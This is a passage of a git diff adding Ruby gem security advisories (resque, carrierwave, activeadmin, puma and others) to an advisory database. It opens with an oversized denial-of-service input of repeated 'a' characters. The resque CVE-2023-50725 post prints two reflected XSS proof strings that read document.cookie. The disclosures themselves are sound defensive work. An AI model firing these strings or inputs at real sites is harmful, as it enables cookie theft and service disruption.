aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+    ```
+
+    This causes the application to spend a huge amount of time decoding
+    the ID and the allocation of > 200MB of objects.
+
+    ### Patches
+
+    Upgrade to `1.0.0.beta2`
+
+    This introduces a new option to limit the length of IDs that can
+    be decoded. A future release will also improve the performance and
+    hugely reduce allocations in the underlying hashids implementation.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.0.0.beta2"
+  related:
+    url:
+    - https://github.com/advisories/GHSA-3px7-jm2p-6h2c
+    - https://github.com/stevegeek/encoded_id-rails/releases/tag/1.0.0.beta2
+    - https://github.com/stevegeek/encoded_id-rails/commit/afa495a77b8a21ad582611f9cdc2081dc4018b91
+    - https://github.com/stevegeek/encoded_id-rails/security/advisories/GHSA-3px7-jm2p-6h2c
+---
diff --git a/advisories/_posts/2023-10-30-CVE-2023-5349.md b/advisories/_posts/2023-10-30-CVE-2023-5349.md
new file mode 100644
index 00000000..418fee6f
--- /dev/null
+++ b/advisories/_posts/2023-10-30-CVE-2023-5349.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2023-5349 (rmagick): memory leak flaw was found in ruby-magick'
+comments: false
+categories:
+- rmagick
+advisory:
+  gem: rmagick
+  cve: 2023-5349
+  ghsa: frgf-8jr5-j2jv
+  url: https://github.com/advisories/GHSA-frgf-8jr5-j2jv
+  title: memory leak flaw was found in ruby-magick
+  date: 2023-10-30
+  description: |
+    A memory leak flaw was found in ruby-magick, an interface between
+    Ruby and ImageMagick. This issue can lead to a denial of service
+    (DOS) by memory exhaustion.
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 5.3.0"
+  related:
+    ghsa:
+    - https://github.com/advisories/GHSA-j6x7-7g72-8ww2
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-5349
+    - https://github.com/rmagick/rmagick/issues/1401
+    - https://github.com/rmagick/rmagick/pull/1406
+    - https://github.com/rmagick/rmagick/commit/02f37ca0d6c2b8fff316e0668efa690f5c90a429
+    - https://github.com/rmagick/rmagick/commit/fec7a7e639ae565386f7615155dbcf49b957b64a
+    - https://bugzilla.redhat.com/show_bug.cgi?id=2247064
+    - https://access.redhat.com/security/cve/CVE-2023-5349
+    - https://github.com/advisories/GHSA-frgf-8jr5-j2jv
+---
diff --git a/advisories/_posts/2023-11-29-CVE-2023-49090.md b/advisories/_posts/2023-11-29-CVE-2023-49090.md
new file mode 100644
index 00000000..f66a79ae
--- /dev/null
+++ b/advisories/_posts/2023-11-29-CVE-2023-49090.md
@@ -0,0 +1,58 @@
+---
+layout: advisory
+title: 'CVE-2023-49090 (carrierwave): CarrierWave Content-Type allowlist bypass vulnerability,
+  possibly leading to XSS'
+comments: false
+categories:
+- carrierwave
+advisory:
+  gem: carrierwave
+  cve: 2023-49090
+  ghsa: gxhx-g4fq-49hj
+  url: https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-gxhx-g4fq-49hj
+  title: CarrierWave Content-Type allowlist bypass vulnerability, possibly leading
+    to XSS
+  date: 2023-11-29
+  description: |
+    ###Impact
+    [CarrierWave::Uploader::ContentTypeAllowlist](https://github.com/carrierwaveuploader/carrierwave/blob/master/lib/carrierwave/uploader/content_type_allowlist.rb)
+    has a Content-Type allowlist bypass vulnerability, possibly leading to XSS.
+
+    The validation in `allowlisted_content_type?` determines Content-Type
+    permissions by performing a partial match.
+    If the `content_type` argument of `allowlisted_content_type?` is passed
+    a value crafted by the attacker, Content-Types not included in the
+    `content_type_allowlist` will be allowed.
+
+    In addition, by setting the Content-Type configured by the attacker
+    at the time of file delivery, it is possible to cause XSS on the
+    user's browser when the uploaded file is opened.
+
+    ### Patches
+    Upgrade to [3.0.5](https://rubygems.org/gems/carrierwave/versions/3.0.5)
+    or [2.2.5](https://rubygems.org/gems/carrierwave/versions/2.2.5).
+
+    ### Workarounds
+    When validating with `allowlisted_content_type?` in
+    [CarrierWave::Uploader::ContentTypeAllowlist](https://github.com/carrierwaveuploader/carrierwave/blob/master/lib/carrierwave/uploader/content_type_allowlist.rb),
+    forward match(`\\A`) the Content-Type set in `content_type_allowlist`,
+    preventing unintentional permission of `text/html;image/png` when
+    you want to allow only `image/png` in `content_type_allowlist`.
+
+    ### References
+    [OWASP - File Upload Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#content-type-validation)
+  cvss_v3: 6.8
+  patched_versions:
+  - "~> 2.2.5"
+  - ">= 3.0.5"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-49090
+    - https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-gxhx-gq-49hj
+    - https://github.com/carrierwaveuploader/carrierwave/commit/39b282db5c1303899b3d3381ce8a837840f983b5
+    - https://github.com/carrierwaveuploader/carrierwave/commit/863d425c76eba12c3294227b39018f6b2dccbbf3
+    - https://github.com/carrierwaveuploader/carrierwave/blob/master/lib/carrierwave/uploader/content_type_allowlist.rb
+    - https://rubygems.org/gems/carrierwave/versions/2.2.5
+    - https://rubygems.org/gems/carrierwave/versions/3.0.5
+    - https://github.com/advisories/GHSA-gxhx-g4fq-49hj
+---
diff --git a/advisories/_posts/2023-12-06-CVE-2023-26154.md b/advisories/_posts/2023-12-06-CVE-2023-26154.md
new file mode 100644
index 00000000..ffc999a8
--- /dev/null
+++ b/advisories/_posts/2023-12-06-CVE-2023-26154.md
@@ -0,0 +1,60 @@
+---
+layout: advisory
+title: 'CVE-2023-26154 (pubnub): pubnub Insufficient Entropy vulnerability'
+comments: false
+categories:
+- pubnub
+advisory:
+  gem: pubnub
+  cve: 2023-26154
+  ghsa: 5844-q3fc-56rh
+  url: https://github.com/advisories/GHSA-5844-q3fc-56rh
+  title: pubnub Insufficient Entropy vulnerability
+  date: 2023-12-06
+  description: |
+    Versions of the package pubnub before 7.4.0; all versions of the
+    package com.pubnub:pubnub; versions of the package pubnub before
+    6.19.0; all versions of the package github.com/pubnub/go; versions
+    of the package github.com/pubnub/go/v7 before 7.2.0; versions of
+    the package pubnub before 7.3.0; versions of the package pubnub/pubnub
+    before 6.1.0; versions of the package pubnub before 5.3.0; versions
+    of the package pubnub before 0.4.0; versions of the package pubnub/c-core
+    before 4.5.0; versions of the package com.pubnub:pubnub-kotlin before
+    7.7.0; versions of the package pubnub/swift before 6.2.0; versions
+    of the package pubnub before 5.2.0; versions of the package pubnub
+    before 4.3.0 are vulnerable to Insufficient Entropy via the getKey
+    function, due to inefficient implementation of the AES-256-CBC
+    cryptographic algorithm. The provided encrypt function is less secure
+    when hex encoding and trimming are applied, leaving half of the bits
+    in the key always the same for every encoded message or file.
+
+    **Note:**
+
+    In order to exploit this vulnerability, the attacker needs to invest
+    resources in preparing the attack and brute-force the encryption.
+  cvss_v3: 5.9
+  patched_versions:
+  - ">= 5.3.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-26154
+    - https://github.com/pubnub/ruby/releases/tag/v5.3.0
+    - https://github.com/pubnub/javascript/commit/fb6cd0417cbb4ba87ea2d5d86a9c94774447e119
+    - https://gist.github.com/vargad/20237094fce7a0a28f0723d7ce395bb0
+    - https://github.com/pubnub/javascript/blob/master/src/crypto/modules/web.js#L70
+    - https://security.snyk.io/vuln/SNYK-COCOAPODS-PUBNUB-6098384
+    - https://security.snyk.io/vuln/SNYK-DOTNET-PUBNUB-6098372
+    - https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMPUBNUBGO-6098373
+    - https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMPUBNUBGOV7-6098374
+    - https://security.snyk.io/vuln/SNYK-JAVA-COMPUBNUB-6098371
+    - https://security.snyk.io/vuln/SNYK-JAVA-COMPUBNUB-6098380
+    - https://security.snyk.io/vuln/SNYK-JS-PUBNUB-5840690
+    - https://security.snyk.io/vuln/SNYK-PHP-PUBNUBPUBNUB-6098376
+    - https://security.snyk.io/vuln/SNYK-PUB-PUBNUB-6098385
+    - https://security.snyk.io/vuln/SNYK-PYTHON-PUBNUB-6098375
+    - https://security.snyk.io/vuln/SNYK-RUBY-PUBNUB-6098377
+    - https://security.snyk.io/vuln/SNYK-RUST-PUBNUB-6098378
+    - https://security.snyk.io/vuln/SNYK-SWIFT-PUBNUBSWIFT-6098381
+    - https://security.snyk.io/vuln/SNYK-UNMANAGED-PUBNUBCCORE-6098379
+    - https://github.com/advisories/GHSA-5844-q3fc-56rh
+---
diff --git a/advisories/_posts/2023-12-15-CVE-2023-50448.md b/advisories/_posts/2023-12-15-CVE-2023-50448.md
new file mode 100644
index 00000000..c68ab9e0
--- /dev/null
+++ b/advisories/_posts/2023-12-15-CVE-2023-50448.md
@@ -0,0 +1,44 @@
+---
+layout: advisory
+title: 'CVE-2023-50448 (activeadmin): Potential CSV export data leak'
+comments: false
+categories:
+- activeadmin
+advisory:
+  gem: activeadmin
+  cve: 2023-50448
+  ghsa: 356j-hg45-x525
+  url: https://github.com/activeadmin/activeadmin/security/advisories/GHSA-356j-hg45-x525
+  title: Potential CSV export data leak
+  date: 2023-12-15
+  description: |2
+
+    ### Impact
+
+    In ActiveAdmin versions prior to 2.12.0, a concurrency issue was
+    found that could allow a malicious actor to be able to access
+    potentially private data that belongs to another user.
+
+    The bug affects the functionality to export data as CSV files, and
+    was caused by a variable holding the collection to be exported being
+    shared across threads and not properly synchronized.
+
+    The attacker would need access to the same ActiveAdmin application
+    as the victim, and could exploit the issue by timing their request
+    immediately before when they know someone else will request a CSV
+    (e.g. via phishing) or request CSVs frequently and hope someone
+    else makes a concurrent request.
+
+    ### Patches
+
+    Versions 2.12.0 and above fixed the problem by completely
+    removing the shared state.
+  cvss_v3: 8.4
+  patched_versions:
+  - ">= 2.12.0"
+  related:
+    url:
+    - https://github.com/activeadmin/activeadmin/security/advisories/GHSA-356j-hg45-x525
+    - https://github.com/advisories/GHSA-356j-hg45-x525
+  notes: No NVD or mention in repo for this CVE.
+---
diff --git a/advisories/_posts/2023-12-18-CVE-2022-44303.md b/advisories/_posts/2023-12-18-CVE-2022-44303.md
new file mode 100644
index 00000000..6a39cbd5
--- /dev/null
+++ b/advisories/_posts/2023-12-18-CVE-2022-44303.md
@@ -0,0 +1,52 @@
+---
+layout: advisory
+title: 'CVE-2022-44303 (resque-scheduler): Resque Scheduler Reflected XSS In Delayed
+  Jobs View'
+comments: false
+categories:
+- resque-scheduler
+advisory:
+  gem: resque-scheduler
+  cve: 2022-44303
+  ghsa: 9hmq-fm33-x4xx
+  url: https://github.com/resque/resque-scheduler/security/advisories/GHSA-9hmq-fm33-x4xx
+  title: Resque Scheduler Reflected XSS In Delayed Jobs View
+  date: 2023-12-18
+  description: |2
+
+    ### Impact
+
+    Resque Scheduler version 1.27.4 and above are affected by a cross-site
+    scripting vulnerability. A remote attacker can inject javascript code
+    to the "{schedule_job}" or "args" parameter in
+    /resque/delayed/jobs/{schedule_job}?args={args_id} to execute
+     javascript at client side.
+
+    ### Patches
+
+    Fixed in v4.10.2
+
+    ### Workarounds
+
+    No known workarounds at this time. It is recommended to not click on
+    3rd party or untrusted links to the resque-web interface until you
+    have patched your application.
+
+    ### References
+    * https://nvd.nist.gov/vuln/detail/CVE-2022-44303
+    * https://github.com/resque/resque-scheduler/issues/761
+    * https://github.com/resque/resque/issues/1885
+    * https://github.com/resque/resque-scheduler/pull/780
+    * https://github.com/resque/resque-scheduler/pull/783
+  cvss_v3: 6.3
+  unaffected_versions:
+  - "< 1.27.4"
+  patched_versions:
+  - ">= 4.10.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-44303
+    - https://github.com/resque/resque-scheduler/security/advisories/GHSA-9hmq-fm33-x4xx
+    - https://trungvm.gitbook.io/cves/resque/resque-1.27.4-multiple-reflected-xss-in-resque-schedule-job
+    - https://github.com/advisories/GHSA-9hmq-fm33-x4xx
+---
diff --git a/advisories/_posts/2023-12-18-CVE-2023-50724.md b/advisories/_posts/2023-12-18-CVE-2023-50724.md
new file mode 100644
index 00000000..598e12b4
--- /dev/null
+++ b/advisories/_posts/2023-12-18-CVE-2023-50724.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2023-50724 (resque): Resque vulnerable to Reflected Cross Site Scripting
+  through pathnames'
+comments: false
+categories:
+- resque
+advisory:
+  gem: resque
+  cve: 2023-50724
+  ghsa: r8xx-8vm8-x6wj
+  url: https://github.com/resque/resque/security/advisories/GHSA-r8xx-8vm8-x6wj
+  title: Resque vulnerable to Reflected Cross Site Scripting through pathnames
+  date: 2023-12-18
+  description: |
+    ### Impact
+
+    resque-web in resque versions before 2.1.0 is vulnerable to reflected
+    XSS through the current_queue parameter in the path of the queues endpoint.
+
+    ### Patches
+
+    v2.1.0
+
+    ### Workarounds
+
+    No known workarounds at this time. It is recommended to not click
+    on 3rd party or untrusted links to the resque-web interface until
+    you have patched your application.
+
+    ### References
+
+    https://github.com/resque/resque/issues/1679
+    https://github.com/resque/resque/pull/1687
+  cvss_v3: 6.3
+  patched_versions:
+  - ">= 2.1.0"
+  related:
+    url:
+    - https://github.com/resque/resque/security/advisories/GHSA-r8xx-8vm8-x6wj
+    - https://github.com/resque/resque/issues/1679
+    - https://github.com/resque/resque/pull/1687
+    - https://github.com/resque/resque/commit/e8e2367fff6990d13109ec2483a456a05fbf9811
+    - https://github.com/advisories/GHSA-r8xx-8vm8-x6wj
+---
diff --git a/advisories/_posts/2023-12-18-CVE-2023-50725.md b/advisories/_posts/2023-12-18-CVE-2023-50725.md
new file mode 100644
index 00000000..fba4ae38
--- /dev/null
+++ b/advisories/_posts/2023-12-18-CVE-2023-50725.md
@@ -0,0 +1,48 @@
+---
+layout: advisory
+title: 'CVE-2023-50725 (resque): Resque vulnerable to reflected XSS in resque-web
+  failed and queues lists'
+comments: false
+categories:
+- resque
+advisory:
+  gem: resque
+  cve: 2023-50725
+  ghsa: gc3j-vvwf-4rp8
+  url: https://github.com/resque/resque/security/advisories/GHSA-gc3j-vvwf-4rp8
+  title: Resque vulnerable to reflected XSS in resque-web failed and queues lists
+  date: 2023-12-18
+  description: |
+    ### Impact
+
+    The following paths in resque-web have been found to be
+    vulnerable to reflected XSS:
+
+    ```
+    /failed/?class=<script>alert(document.cookie)</script>
+    /queues/><img src=a onerror=alert(document.cookie)>
+    ```
+
+    ### Patches
+
+    v2.2.1
+
+    ### Workarounds
+
+    No known workarounds at this time. It is recommended to not click
+    on 3rd party or untrusted links to the resque-web interface until
+    you have patched your application.
+
+    ### References
+
+    https://github.com/resque/resque/pull/1790
+  cvss_v3: 6.3
+  patched_versions:
+  - ">= 2.2.1"
+  related:
+    url:
+    - https://github.com/resque/resque/security/advisories/GHSA-gc3j-vvwf-4rp8
+    - https://github.com/resque/resque/pull/1790
+    - https://github.com/resque/resque/commit/ee99d2ed6cc75d9d384483b70c2d96d312115f07
+    - https://github.com/advisories/GHSA-gc3j-vvwf-4rp8
+---
diff --git a/advisories/_posts/2023-12-18-CVE-2023-50727.md b/advisories/_posts/2023-12-18-CVE-2023-50727.md
new file mode 100644
index 00000000..7ba399e2
--- /dev/null
+++ b/advisories/_posts/2023-12-18-CVE-2023-50727.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2023-50727 (resque): Resque vulnerable to reflected XSS in Queue Endpoint'
+comments: false
+categories:
+- resque
+advisory:
+  gem: resque
+  cve: 2023-50727
+  ghsa: r9mq-m72x-257g
+  url: https://github.com/resque/resque/security/advisories/GHSA-r9mq-m72x-257g
+  title: Resque vulnerable to reflected XSS in Queue Endpoint
+  date: 2023-12-18
+  description: |
+    ### Impact
+
+    Reflected XSS can be performed using the current_queue portion of
+    the path on the /queues endpoint of resque-web.
+
+    ### Patches
+
+    v2.6.0
+
+    ### Workarounds
+
+    No known workarounds at this time. It is recommended to not click
+    on 3rd party or untrusted links to the resque-web interface until
+    you have patched your application.
+
+    ### References
+
+    https://github.com/resque/resque/pull/1865
+  cvss_v3: 6.3
+  patched_versions:
+  - ">= 2.6.0"
+  related:
+    url:
+    - https://github.com/resque/resque/security/advisories/GHSA-r9mq-m72x-257g
+    - https://github.com/resque/resque/pull/1865
+    - https://github.com/resque/resque/commit/7623b8dfbdd0a07eb04b19fb25b16a8d6f087f9a
+    - https://github.com/advisories/GHSA-r9mq-m72x-257g
+---
diff --git a/advisories/_posts/2023-12-24-CVE-2023-51763.md b/advisories/_posts/2023-12-24-CVE-2023-51763.md
new file mode 100644
index 00000000..ec2dd7d4
--- /dev/null
+++ b/advisories/_posts/2023-12-24-CVE-2023-51763.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2023-51763 (activeadmin): ActiveAdmin vulnerable to CSV injection'
+comments: false
+categories:
+- activeadmin
+advisory:
+  gem: activeadmin
+  cve: 2023-51763
+  ghsa: rqxc-9p8h-xqgq
+  url: https://github.com/advisories/GHSA-rqxc-9p8h-xqgq
+  title: ActiveAdmin vulnerable to CSV injection
+  date: 2023-12-24
+  description: |
+    csv_builder.rb in ActiveAdmin (aka Active Admin)
+    before 3.2.0 allows CSV injection.
+  cvss_v3: 8.4
+  patched_versions:
+  - ">= 3.2.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-51763
+    - https://github.com/activeadmin/activeadmin/releases/tag/v3.2.0
+    - https://github.com/activeadmin/activeadmin/pull/8161
+    - https://github.com/activeadmin/activeadmin/commit/697be2b183491beadc8f0b7d8b5bfb44f2387909
+    - https://github.com/advisories/GHSA-rqxc-9p8h-xqgq
+---
diff --git a/advisories/_posts/2024-01-03-CVE-2024-21632.md b/advisories/_posts/2024-01-03-CVE-2024-21632.md
new file mode 100644
index 00000000..b1988751
--- /dev/null
+++ b/advisories/_posts/2024-01-03-CVE-2024-21632.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2024-21632 (omniauth-microsoft_graph): Omniauth::MicrosoftGraph Account
+  takeover (nOAuth)'
+comments: false
+categories:
+- omniauth-microsoft_graph
+advisory:
+  gem: omniauth-microsoft_graph
+  cve: 2024-21632
+  ghsa: 5g66-628f-7cvj
+  url: https://github.com/synth/omniauth-microsoft_graph/security/advisories/GHSA-5g66-628f-7cvj
+  title: Omniauth::MicrosoftGraph Account takeover (nOAuth)
+  date: 2024-01-03
+  description: |2
+
+    ### Summary
+    The implementation did not validate the legitimacy of the `email`
+    attribute of the user nor did it give/document an option to do so,
+    making it susceptible to [nOAuth](https://www.descope.com/blog/post/noauth)
+    misconfiguration in cases when the `email` is used as a trusted
+    user identifier
+  cvss_v3: 8.6
+  patched_versions:
+  - ">= 2.0.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-21632
+    - https://github.com/synth/omniauth-microsoft_graph/security/advisories/GHSA-5g66-628f-7cvj
+    - https://github.com/synth/omniauth-microsoft_graph/commit/5ffd62690ca0e46978f2fc7d83b18d28edde7795
+    - https://github.com/synth/omniauth-microsoft_graph/commit/f132078389612b797c872b45bd0e0b47382414c1
+    - https://www.descope.com/blog/post/noauth
+    - https://github.com/advisories/GHSA-5g66-628f-7cvj
+---
diff --git a/advisories/_posts/2024-01-04-CVE-2024-21636.md b/advisories/_posts/2024-01-04-CVE-2024-21636.md
new file mode 100644
index 00000000..526488b0
--- /dev/null
+++ b/advisories/_posts/2024-01-04-CVE-2024-21636.md
@@ -0,0 +1,73 @@
+---
+layout: advisory
+title: 'CVE-2024-21636 (view_component): view_component Cross-site Scripting vulnerability'
+comments: false
+categories:
+- view_component
+advisory:
+  gem: view_component
+  cve: 2024-21636
+  ghsa: wf2x-8w6j-qw37
+  url: https://github.com/ViewComponent/view_component/security/advisories/GHSA-wf2x-8w6j-qw37
+  title: view_component Cross-site Scripting vulnerability
+  date: 2024-01-04
+  description: |2
+
+    ### Impact
+    _What kind of vulnerability is it? Who is impacted?_
+
+    This is an XSS vulnerability that has the potential to impact
+    anyone rendering a component directly from a controller with the
+    view_component gem. Note that only components that define a
+    [`#call` method](https://viewcomponent.org/guide/templates.html#call)
+    (i.e. instead of using a sidecar template) are affected. The return
+    value of the `#call` method is not sanitized and can include
+    user-defined content.
+
+    In addition, the return value of the
+    [`#output_postamble` method](https://viewcomponent.org/api.html#output_postamble--string)
+    is not sanitized, which can also lead to XSS issues.
+
+    ### Patches
+    _Has the problem been patched? What versions should users upgrade to?_
+
+    Versions 3.9.0 has been released and fully mitigates both the
+    `#call` and the `#output_postamble` vulnerabilities.
+
+    ### Workarounds
+    _Is there a way for users to fix or remediate the vulnerability
+    without upgrading?_
+
+    Sanitize the return value of `#call`, eg:
+
+    ```ruby
+    class MyComponent < ApplicationComponent
+      def call
+        html_escape("<div>#{user_input}</div>")
+      end
+    end
+    ```
+
+    ### References
+    _Are there any links users can visit to find out more?_
+
+    https://github.com/ViewComponent/view_component/pull/1950
+
+    ### For more information
+
+    If you have any questions or comments about this advisory:
+
+    Open an issue in the
+    [github/view_component](https://github.com/github/view_component) project.
+  cvss_v3: 6.1
+  patched_versions:
+  - "~> 2.83.0"
+  - ">= 3.9.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-21636
+    - https://github.com/ViewComponent/view_component/security/advisories/GHSA-wf2x-8w6j-qw37
+    - https://github.com/ViewComponent/view_component/pull/1950
+    - https://github.com/ViewComponent/view_component/commit/0d26944a8d2730ea40e60eae23d70684483e5017
+    - https://github.com/advisories/GHSA-wf2x-8w6j-qw37
+---
diff --git a/advisories/_posts/2024-01-08-CVE-2024-21647.md b/advisories/_posts/2024-01-08-CVE-2024-21647.md
new file mode 100644
index 00000000..e74e5868
--- /dev/null
+++ b/advisories/_posts/2024-01-08-CVE-2024-21647.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'CVE-2024-21647 (puma): Puma HTTP Request/Response Smuggling vulnerability'
+comments: false
+categories:
+- puma
+advisory:
+  gem: puma
+  cve: 2024-21647
+  ghsa: c2f4-cvqm-65w2
+  url: https://github.com/puma/puma/security/advisories/GHSA-c2f4-cvqm-65w2
+  title: Puma HTTP Request/Response Smuggling vulnerability
+  date: 2024-01-08
+  description: |2
+
+    ### Impact
